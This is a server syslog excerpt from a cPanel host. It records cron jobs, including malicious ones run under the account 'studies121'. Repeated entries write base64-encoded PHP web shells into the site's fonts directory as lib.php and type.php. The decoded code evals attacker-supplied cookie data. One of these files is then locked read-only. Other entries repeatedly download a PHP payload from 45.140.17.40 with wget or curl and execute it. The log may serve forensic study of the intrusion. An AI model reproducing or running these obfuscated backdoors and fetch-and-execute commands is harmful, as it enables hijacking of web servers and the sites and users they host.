Sep  7 14:52:01 ip-184-168-122-23 CROND[14315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:52:01 ip-184-168-122-23 CROND[14314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:53:01 ip-184-168-122-23 CROND[14397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:53:01 ip-184-168-122-23 CROND[14398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:53:01 ip-184-168-122-23 CROND[14401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:53:01 ip-184-168-122-23 CROND[14400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:54:01 ip-184-168-122-23 CROND[14506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:54:01 ip-184-168-122-23 CROND[14509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:54:01 ip-184-168-122-23 CROND[14508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:54:01 ip-184-168-122-23 CROND[14511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:54:01 ip-184-168-122-23 CROND[14510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:55:02 ip-184-168-122-23 CROND[14609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:55:02 ip-184-168-122-23 CROND[14612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:55:02 ip-184-168-122-23 CROND[14614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:55:02 ip-184-168-122-23 CROND[14610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:55:02 ip-184-168-122-23 CROND[14613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:55:02 ip-184-168-122-23 CROND[14611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:56:01 ip-184-168-122-23 CROND[14823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:56:01 ip-184-168-122-23 CROND[14827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:56:01 ip-184-168-122-23 CROND[14826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:56:01 ip-184-168-122-23 CROND[14825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:56:01 ip-184-168-122-23 CROND[14831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:57:01 ip-184-168-122-23 CROND[14964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:57:02 ip-184-168-122-23 CROND[14967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:57:02 ip-184-168-122-23 CROND[14968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:57:02 ip-184-168-122-23 CROND[14966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:58:01 ip-184-168-122-23 CROND[15090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:58:01 ip-184-168-122-23 CROND[15089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:58:01 ip-184-168-122-23 CROND[15088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:58:01 ip-184-168-122-23 CROND[15092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:58:01 ip-184-168-122-23 CROND[15091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:59:01 ip-184-168-122-23 CROND[15176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:59:01 ip-184-168-122-23 CROND[15177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:59:01 ip-184-168-122-23 CROND[15178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:59:01 ip-184-168-122-23 CROND[15179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:00:01 ip-184-168-122-23 CROND[15290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:00:01 ip-184-168-122-23 CROND[15297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:00:01 ip-184-168-122-23 CROND[15296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:00:01 ip-184-168-122-23 CROND[15298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:00:01 ip-184-168-122-23 CROND[15301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:00:01 ip-184-168-122-23 CROND[15302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:00:01 ip-184-168-122-23 CROND[15299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:00:01 ip-184-168-122-23 CROND[15304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:01:01 ip-184-168-122-23 CROND[15491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:01:01 ip-184-168-122-23 CROND[15492]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 15:01:01 ip-184-168-122-23 CROND[15495]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 15:01:01 ip-184-168-122-23 CROND[15498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:01:01 ip-184-168-122-23 CROND[15493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:01:01 ip-184-168-122-23 CROND[15496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15492]: starting 0anacron
Sep  7 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15511]: finished 0anacron
Sep  7 15:02:01 ip-184-168-122-23 CROND[15615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:02:01 ip-184-168-122-23 CROND[15616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:02:01 ip-184-168-122-23 CROND[15617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:02:01 ip-184-168-122-23 CROND[15619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:02:01 ip-184-168-122-23 CROND[15618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:03:01 ip-184-168-122-23 CROND[15741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:03:01 ip-184-168-122-23 CROND[15740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:03:01 ip-184-168-122-23 CROND[15742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:03:01 ip-184-168-122-23 CROND[15743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:04:01 ip-184-168-122-23 CROND[15833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:04:01 ip-184-168-122-23 CROND[15835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
